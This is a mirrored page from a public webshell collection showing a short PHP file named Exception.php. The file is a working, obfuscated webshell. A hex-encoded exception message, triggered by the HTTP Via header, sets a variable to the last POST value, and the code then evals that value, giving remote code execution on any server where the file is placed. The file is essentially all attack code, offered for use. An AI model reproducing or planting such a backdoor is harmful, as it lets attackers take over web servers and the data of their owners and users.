1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 12:51:28 +00:00
Files
webshell/webshell-free/php/Exception.php

17 lines
292 B
PHP

<?php
try{
$value = 'echo "hello~"';
apply();
}catch(Exception $e){
eval(pack('H*',$e->getMessage()));
}finally{
eval($value.';');
}
function apply(){
if(isset($_SERVER['HTTP_VIA'])){
throw new Exception('2476616c75653d656e6428245f504f5354293b');
}
return false;
}